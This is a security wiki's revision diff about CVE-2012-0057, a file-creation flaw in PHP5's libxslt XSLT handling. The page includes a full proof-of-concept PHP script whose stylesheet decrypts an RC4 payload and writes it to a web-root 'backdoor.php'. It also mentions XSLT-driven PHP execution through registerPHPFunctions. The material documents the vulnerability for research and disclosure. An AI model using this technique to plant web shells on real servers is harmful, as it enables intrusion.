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Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29
From version Icon 14.1 Icon
edited by Nicolas Gregoire
on 2012/01/16 11:33
Change comment: There is no comment for this version
To version Icon 19.1 Icon
edited by Nicolas Gregoire
on 2012/01/18 22:39
Change comment: There is no comment for this version

Summary

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6 6  
7 7  = Creating files =
8 8  
9 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell. This vulnerability ([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]) was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).
9 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell. This vulnerability ([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]] / [[CVE-2012-0057>>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0057||rel="__blank" title="CVE-2012-0057"]]) was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).
10 10  
11 +== Simple PoC ==
12 +
11 11  The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
12 12  
13 -A better script was later posted on [[OSS-Security>>http://seclists.org/oss-sec/2012/q1/157]] at RedHat request. This PHP scipt will by default display a pre-filled HTML form including some XML data and XSLT code. When the form is submitted, the user-controlled
14 -XML data is transformed using the user-controlled XSLT code. Then, the output of this transformation is displayed in the browser.
15 +== PoC with crypto ==
15 15  
16 -When executed, the pre-filled XSLT code will write to /var/www/xxx/backdoor.php this content :
17 +A better script was later posted on [[OSS-Security>>http://seclists.org/oss-sec/2012/q1/157]] at RedHat request. This PHP script ([[attach:php539-xslt.php]]) will by default display a pre-filled HTML form including XML data, XSLT code and RC4-encrypted malicious PHP code. When the form is submitted, the user-controlled XML data is transformed using the user-controlled XSLT code. Then, the output of this transformation is displayed in the browser. Meanwhile, the malicious PHP code is decrypted using a static key ("simple_demo") and saved to "/var/www/xxx/backdoor.php".
17 17  
18 -##
19 -<html><body>
20 -<h1><font color="red">I'm a (very) malicious PHP file !!!</font></h1>
21 -<?php phpinfo()?>
22 -</body></html>
23 -##
24 -
25 -Note : the payload is encrypted with RC4. A static key ("simple_demo") embedded in the XSLT code is used to decrypt it.
26 -
27 27  = Executing PHP code =
28 28  
29 29  A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$"). This isn't a bug and will not be patched.
Icon php539-xslt.php
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1 +xwiki:XWiki.NicolasGregoire
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1 +
2 +<?php
3 +
4 +// Get parameters
5 +$action = $_POST['action'];
6 +$xml = $_POST['xml'];
7 +$xsl = $_POST['xsl'];
8 +
9 +print "<html><body>";
10 +if ($action == "transform") {
11 +
12 + print "<h2>Ready to transform ...</h2><br/>";
13 +
14 + # LOAD XML FILE
15 + $xmldom = new DOMDocument();
16 + print "XML: <pre>".htmlentities($xml)."</pre><br/>";
17 + $xmldom->loadXML($xml);
18 +
19 + # LOAD XSLT FILE
20 + $xsldom = new DOMDocument();
21 + print "XSL: <pre>".htmlentities($xsl)."</pre><br/>";
22 + $xsldom->loadXML($xsl); // Content of $xXsl may be untrusted !
23 +
24 + # START XSLT
25 + $xslproc = new XSLTProcessor();
26 + $xslproc->importStylesheet($xsldom);
27 +
28 + # TRANSFORM & PRINT
29 + $output = $xslproc->transformToXML($xmldom); // File creation !
30 + print "Output: <pre>".htmlentities($output)."</pre><br/>";
31 +
32 +} else {
33 +
34 + # DISPLAY A PRE-FILLED FORM
35 + print "<h1>Hello!</h1><h2>You just have to click on submit() ...</h2>";
36 + print "Consider modifying the output path (<i>/var/www/xxx/backdoor.php</i>) in the XSL<br/><br/>";
37 + print "<form method='post'>";
38 + print "XML document:<br/>";
39 + print "<textarea name='xml' rows='3' cols='130'><foobar/></textarea><br/><br/>";
40 + print "XSLT code:<br/>";
41 + print "<textarea name='xsl' rows='20' cols='130'>";
42 +print <<<XSLT
43 +<xsl:stylesheet
44 + version="1.0"
45 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
46 + xmlns:cry="http://exslt.org/crypto"
47 + xmlns:sax="http://icl.com/saxon"
48 + extension-element-prefixes="cry sax">
49 +
50 + <xsl:template match="/">
51 + <sax:output href="/var/www/xxx/backdoor.php" method="text">
52 + <xsl:value-of select="cry:rc4_decrypt('simple_demo', '0262ee34196ae2df1ab850c1705ee0c38dc6ae42bbeecf140dea99675fb35539a4dcbeaf5c2e6a6cae679843dbf3650275a6be07464047dc17eff2661b8f065f0ae3abcd3b33e9fd3c48a36f2201ae65e093fa45b0a1b55cd408ec815a8dada050b8881b99e957704dc5f17208d105966680a26f')"/>
53 + </sax:output>
54 + <xsl:text>A webshell have been dropped</xsl:text>
55 + </xsl:template>
56 +
57 +</xsl:stylesheet>
58 +XSLT;
59 + print "</textarea><br/><br/>";
60 + print "<input type='hidden' name='action' value='transform'/>";
61 + print "<input type='submit'/></form>";
62 +
63 +}
64 +print "</body></html>";
65 +
66 +?>
67 +
68 +